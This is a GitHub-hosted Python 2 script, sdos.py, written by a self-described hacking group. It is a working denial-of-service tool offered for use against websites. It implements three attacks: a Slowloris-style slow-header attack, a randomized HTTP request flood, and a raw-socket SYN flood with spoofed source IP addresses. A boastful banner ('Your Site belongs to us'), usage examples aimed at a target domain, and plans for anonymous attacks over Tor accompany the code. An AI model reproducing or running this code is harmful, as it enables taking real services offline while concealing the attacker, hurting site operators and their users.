-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathsdos.py
479 lines (443 loc) · 15 KB
/
sdos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
###########################################
#########[!] Wussup itz S0u1 [!]###########
#[+] I really hope you enjoy this tool[!]#
#[!] If you are having trouble running [!]#
##[!] this script then please contact [!]##
#############[!] S0u1 [!]##################
###########################################
#########[!] We are HLoTW[!]###############
#########[+] Excuse Us ;) [+]##############
###########################################
# https://twitter.com/S0u1_HLoTW
# Please Keep my ASCII Art it took forever for me to add it on there lmao
# Edit the sript however you like but keep my greets
# Don't share this script without my permission due to it being under development!
# Things to add:
#Fast HTTP, Fast Socket POST , UDP, TCP tough connection, Shells, auto connect, multitasking, and fixing TOR-
# connection to connect to their Nodes ( Anonymous DoS attack ) .
# ~S0u1
# Remember three can keep a secret only if the two are dead!
version= '1.0'
import binascii
import datetime
import os
import sys
import json
import time
import string
import signal
import colorama
from colorama import Fore, Back, Style
import httplib,urlparse
from random import *
from socket import *
from struct import *
from threading import *
from argparse import ArgumentParser,RawTextHelpFormatter
colorama.init(Style.BRIGHT)
title = """\
\033[94m\033[1m You Have rights to edit this script however you want!\033[94m\033[1m
\033[91m\033[1m But, please leave this title on for my greets ;-;\033[91m\033[1m
\033[92m\033[1m ###########################################\033[92m\033[1m
\033[91m\033[1m # /$$$$$$ /$$$$$$ /$$ #\033[91m\033[1m
\033[91m\033[1m # /$$__ $$ /$$$_ $$ /$$$$ #\033[92m\033[1m
\033[92m\033[1m # | $$ \__/| $$$$\ $$ /$$ /$$|_ $$ #\033[94m\033[1m
\033[92m\033[1m # | $$$$$$ | $$ $$ $$| $$ | $$ | $$ #\033[92m\033[1m
\033[93m\033[1m # \____ $$| $$\ $$$$| $$ | $$ | $$ #\033[94m\033[1m
\033[93m\033[1m # /$$ \ $$| $$ \ $$$| $$ | $$ | $$ #\033[95m\033[1m
\033[94m\033[1m # | $$$$$$/| $$$$$$/| $$$$$$/ /$$$$$$ #\033[92m\033[1m
\033[94m\033[1m # \______/ \______/ \______/ |______/ #\033[92m\033[1m
\033[92m\033[1m ###########################################\033[92m\033[1m
\033[92m\033[1m /!\ Your Site belongs to us /!\ \033[92m\033[1m
\033[91m\033[1m Lets See if we can set sail with thus ~S0u1~ (HLoTW) \033[91m\033[1m
"""
if os.name == 'posix':
c = os.system('which pip')
if c == 256:
os.system('sudo apt-get install python-pip')
else:
pass
else:
print '[-] We are HLoTW'
try:
import requests,colorama
from termcolor import colored,cprint
except:
try:
if os.name == 's0u1':
os.system('sudo pip install colorama termcolor requests')
sys.exit('[+] I have installed nessecary modules for you')
elif os.name == 'nt':
os.sytem('c:\python27\scripts\pip.exe install colorama requests termcolor')
sys.exit('[+] I have installed nessecary modules for you')
else:
sys.exit('[-] Download and install nessecary modules')
except Exception,e:
print '[-]',e
if os.name == 'nt':
colorama.init()
def fake_ip():
skip = '127'
rand = range(4)
for x in range(4):
rand[x] = randrange(0,256)
if rand[0] == skip:
fake_ip()
fkip = '%d.%d.%d.%d' % (rand[0],rand[1],rand[2],rand[3])
return fkip
def check_tgt(args):
tgt = args.d
try:
ip = gethostbyname(tgt)
except:
sys.exit(cprint('[-] Can\'t resolve host:Unknow host!','red'))
return ip
def add_useragent():
uagents = []
uagents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36')
uagents.append('(Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36')
uagents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25')
uagents.append('Opera/9.80 (X11; Linux i686; U; hu) Presto/2.9.168 Version/11.50')
uagents.append('Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)')
uagents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0')
uagents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
uagents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)')
return uagents
def hlotw_bots():
bots=[]
bots.append('http://www.bing.com/search?q=%40&count=50&first=0')
bots.append('http://www.google.com/search?hl=en&num=100&q=intext%3A%40&ie=utf-8')
return bots
class Pyslow:
def __init__(self,
tgt,
port,
to,
threads,
sleep):
self.tgt = tgt
self.port = port
self.to = to
self.threads = threads
self.sleep = sleep
self.method = ['GET','POST']
self.pkt_count = 0
def mypkt(self):
text = choice(self.method) + ' /' + str(randint(1,999999999)) + ' HTTP/1.1\r\n'+\
'Host:'+self.tgt+'\r\n'+\
'User-Agent:'+choice(add_useragent())+'\r\n'+\
'Content-Length: 42\r\n'
pkt = buffer(text)
return pkt
def building_socket(self):
try:
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)
sock.settimeout(self.to)
sock.connect((self.tgt,int(self.port)))
self.pkt_count += 3
if sock:
sock.sendto(self.mypkt(),(self.tgt,int(self.port)))
self.pkt_count += 1
except Exception:
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)
sock.settimeout(self.to)
sock.connect((self.tgt,int(self.port)))
sock.settimeout(None)
self.pkt_count+=3
if sock:
sock.sendto(self.mypkt(),(self.tgt,int(self.port)))
self.pkt_count+=1
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
return sock
def sending_packets(self):
try:
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)
sock.settimeout(self.to)
sock.connect((self.tgt,int(self.port)))
self.pkt_count+=1
if sock:
sock.sendall('X-a: b\r\n')
self.pkt+=1
except Exception:
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)
sock.settimeout(self.to)
sock.connect((self.tgt,int(self.port)))
sock.settimeout(None)
if sock:
sock.sendall('X-a: b\r\n')
self.pkt_count+=1
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
return sock
def doconnection(self):
socks = 0
fail=0
lsocks=[]
lhandlers=[]
cprint('\t\tBuilding sockets','yellow')
while socks < (int(self.threads)):
try:
sock = self.building_socket()
if sock:
lsocks.append(sock)
socks+=1
if socks > int(self.threads):
break
except Exception:
fail+=1
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
cprint('\t\tSending packets','yellow')
while socks < int(self.threads):
try:
handler = self.sending_packets()
if handler:
lhandlers.append(handler)
socks+=1000
if socks > int(self.threads):
break
else:
pass
except Exception:
fail+=1
except KeyboardInterrupt:
break
sys.exit(cprint('[-] Canceled by user','red'))
print colored('I have sent ','green') + colored(str(self.pkt_count),'cyan') + colored(' packets successfully. Now i\'m going to sleep for ','green') + colored(self.sleep,'red') + colored(' second','green')
time.sleep(self.sleep)
class Requester(Thread):
def __init__(self,tgt):
Thread.__init__(self)
self.tgt = tgt
self.port = None
self.ssl = False
self.req = []
self.lock=Lock()
url_type = urlparse.urlparse(self.tgt)
if url_type.scheme == 'https':
self.ssl = True
if self.ssl == True:
self.port = 443
else:
self.port = 80
def header(self):
cachetype = ['no-cache','no-store','max-age='+str(randint(0,10)),'max-stale='+str(randint(0,100)),'min-fresh='+str(randint(0,10)),'notransform','only-if-cache']
acceptEc = ['compress,gzip','','*','compress;q=0,5, gzip;q=1.0','gzip;q=1.0, indentity; q=0.5, *;q=0']
acceptC = ['ISO-8859-1','utf-8','Windows-1251','ISO-8859-2','ISO-8859-15']
bot = hlotw_bots()
c=choice(cachetype)
a=choice(acceptEc)
http_header = {
'User-Agent' : choice(add_useragent()),
'Cache-Control' : c,
'Accept-Encoding' : a,
'Keep-Alive' : '42',
'Host' : self.tgt,
'Referer' : choice(bot)
}
return http_header
def rand_str(self):
mystr=[]
for x in range(3):
chars = tuple(string.ascii_letters+string.digits)
text = (choice(chars) for _ in range(randint(7,14)))
text = ''.join(text)
mystr.append(text)
return '&'.join(mystr)
def create_url(self):
return self.tgt + '?' + self.rand_str()
def data(self):
url = self.create_url()
http_header = self.header()
return (url,http_header)
def run(self):
try:
if self.ssl:
conn = httplib.HTTPSConnection(self.tgt,self.port)
else:
conn = httplib.HTTPConnection(self.tgt,self.port)
self.req.append(conn)
for reqter in self.req:
(url,http_header) = self.data()
method = choice(['get','post'])
reqter.request(method.upper(),url,None,http_header)
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
except Exception,e:
print e
finally:
self.closeConnections()
def closeConnections(self):
for conn in self.req:
try:
conn.close()
except:
pass
class Synflood(Thread):
def __init__(self,tgt,ip,sock=None):
Thread.__init__(self)
self.tgt = tgt
self.ip = ip
self.psh = ''
if sock is None:
self.sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)
self.sock.setsockopt(IPPROTO_IP,IP_HDRINCL,1)
else:
self.sock=sock
self.lock=Lock()
def checksum(self):
s = 0
for i in range(0,len(self.psh),2):
w = (ord(self.psh[i]) << 8) + (ord(self.psh[i+1]))
s = s+w
s = (s>>16) + (s & 0xffff)
s = ~s & 0xffff
return s
def Building_packet(self):
ihl=5
version=4
tos=0
tot=40
id=54321
frag_off=0
ttl=64
protocol=IPPROTO_TCP
check=10
s_addr=inet_aton(self.ip)
d_addr=inet_aton(self.tgt)
ihl_version = (version << 4) + ihl
ip_header = pack('!BBHHHBBH4s4s',ihl_version,tos,tot,id,frag_off,ttl,protocol,check,s_addr,d_addr)
source = 54321
dest = 80
seq = 0
ack_seq = 0
doff = 5
fin = 0
syn = 1
rst = 0
ack = 0
psh = 0
urg = 0
window = htons(5840)
check = 0
urg_prt = 0
offset_res = (doff << 4)
tcp_flags = fin + (syn << 1) + (rst << 2) + (psh << 3) + (ack << 4) + (urg << 5)
tcp_header=pack('!HHLLBBHHH',source,dest,seq,ack_seq,offset_res,tcp_flags,window,check,urg_prt)
src_addr = inet_aton(self.ip)
dst_addr = inet_aton(self.tgt)
place = 0
protocol = IPPROTO_TCP
tcp_length = len(tcp_header)
self.psh = pack('!4s4sBBH',src_addr,dst_addr,place,protocol,tcp_length);
self.psh = self.psh + tcp_header;
tcp_checksum = self.checksum()
tcp_header = pack('!HHLLBBHHH',source,dest,seq,ack_seq,offset_res,tcp_flags,window,tcp_checksum,urg_prt)
packet = ip_header + tcp_header
return packet
def run(self):
packet=self.Building_packet()
try:
self.lock.acquire()
self.sock.sendto(packet,(self.tgt,0))
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
except Exception,e:
cprint(e,'red')
finally:
self.lock.release()
def main():
parser = ArgumentParser(
usage='./%(prog)s -t [target] -p [port] -t [number threads]',
version=version,
formatter_class=RawTextHelpFormatter,
prog='s0u1',
description=cprint(title,'green',attrs=['bold']),
epilog='''
Example:
./%(prog)s -d www.1337.com -p 80 -T 2000 -Pyslow
./%(prog)s -d www.1337.com -s 100 -Request
./%(prog)s -d www.1337.com -Synflood -T 5000 -t 10.0
'''
)
options = parser.add_argument_group('options','')
options.add_argument('-d',metavar='<ip|domain>',default=False,help='Specify your target such an ip or domain name')
options.add_argument('-t',metavar='<float>',default=5.0,help='Set timeout for socket')
options.add_argument('-T',metavar='<int>',default=1000,help='Set threads number for connection (default = 1000)')
options.add_argument('-p',metavar='<int>',default=80,help='Specify port target (default = 80)' + colored(' |Only required with pyslow attack if ya know what I mean LOL |','red'))
options.add_argument('-s',metavar='<int>',default=50,help='Set sleep time for reconnection')
options.add_argument('-i',metavar='<ip address>',default=False,help='Specify spoofed ip unless use fake ip')
options.add_argument('-Request',action='store_true',help='Enable request target')
options.add_argument('-Synflood',action='store_true',help='Enable synflood attack')
options.add_argument('-Pyslow',action='store_true',help='Enable pyslow attack')
options.add_argument('--fakeip',action='store_true',default=False,help='Option to create fake ip if not specify spoofed ip')
args = parser.parse_args()
if args.d == False:
parser.print_help()
sys.exit()
hlotw_bots();add_useragent()
if args.d:
check_tgt(args)
if args.Synflood:
uid = os.getuid()
if uid == 0:
cprint('[*] You have enough permisson to run this script','green')
time.sleep(0.5)
else:
sys.exit(cprint('[-] You haven\'t enough permission to run this script','red'))
tgt=check_tgt(args)
synsock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP)
synsock.setsockopt(IPPROTO_IP,IP_HDRINCL,1)
ts=[]
threads=[]
print colored('[*] Started SYN Flood: ','blue')+colored(tgt,'red')
while 1:
if args.i == False:
args.fakeip = True
if args.fakeip == True:
ip = fake_ip()
else:
ip = args.i
try:
for x in xrange(0,args.T):
thread=Synflood(tgt,ip,sock=synsock)
thread.setDaemon(True)
thread.start()
thread.join()
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
elif args.Request:
tgt = args.d
threads = []
print colored('[*] Start send request to: ','white')+colored(tgt,'red')
while 1:
try:
for x in xrange(int(args.T)):
t=Requester(tgt)
t.setDaemon(True)
t.start()
t.join()
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
elif args.Pyslow:
try:
tgt = args.d
port = args.p
to = float(args.t)
st = int(args.s)
threads = int(args.T)
except Exception,e:
print '[-]',e
while 1:
try:
worker=Pyslow(tgt,port,to,threads,st)
worker.doconnection()
except KeyboardInterrupt:
sys.exit(cprint('[-] Canceled by user','red'))
if not (args.Synflood) and not (args.Request) and not (args.Pyslow):
parser.print_help()
print
sys.exit(cprint('[-] You must choose attack type','red'))
if __name__ == '__main__':
main()